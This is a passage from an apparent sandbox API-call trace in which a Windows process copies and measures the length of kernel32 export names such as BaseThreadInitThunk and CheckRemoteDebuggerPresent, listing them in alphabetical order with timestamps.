lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0142.906] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0142.906] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0142.906] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0142.906] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0142.906] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0142.906] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0142.906] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0142.906] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0142.906] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0142.906] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0142.906] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0142.906] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0142.906] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0142.906] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0142.906] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0142.907] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0142.907] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0142.907] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0142.907] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0142.907] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0142.907] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0142.907] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0142.907] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0142.907] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0142.907] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0142.907] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0142.907] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0142.907] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0142.907] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0142.907] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0142.907] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0142.907] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0142.907] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0142.907] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0142.907] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0142.907] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0142.907] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0142.908] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0142.908] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0142.908] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0142.908] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0142.908] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0142.908] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0142.908] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0142.908] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0142.908] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0142.908] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0142.908] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0142.908] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0142.908] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0142.908] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0142.908] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0142.908] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0142.908] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0142.908] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0142.908] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0142.908] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0142.908] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0142.908] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0142.909] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0142.909] lstrlenA (lpString="BEEP") returned 4 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0142.909] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0142.909] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0142.909] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0142.909] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0142.909] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0142.909] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0142.909] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0142.909] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0142.909] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0142.909] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0142.909] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0142.909] lstrlenA (lpString="CANCELIO") returned 8 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0142.909] lstrlenA (lpString="CANCELIOEX") returned 10 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0142.909] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0142.909] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0142.909] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0142.909] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0142.909] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0142.909] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0142.909] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0142.975] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0142.975] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0142.975] lstrlenA (lpString="CHECKELEVATION") returned 14 [0142.975] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0142.975] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0142.975] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0142.975] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0142.975] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0142.975] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0142.975] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0142.976] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0142.976] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0142.976] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0142.976] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0142.976] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0142.976] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0142.976] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0142.976] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0142.976] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0142.976] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0142.976] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0142.976] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0142.976] lstrlenA (lpString="CLOSESTATE") returned 10 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0142.976] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0142.976] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0142.976] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0142.976] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0142.977] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0142.977] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0142.977] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0142.977] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0142.977] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0142.977] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0142.977] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0142.977] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0142.977] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0142.977] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0142.977] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0142.977] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0142.977] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0142.977] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0142.977] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0142.977] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0142.977] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0142.977] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0142.977] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0142.977] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0142.978] lstrcpyA (in: lpString1=0x38bdda8, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0142.978] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0142.978] lstrcpyA (in: 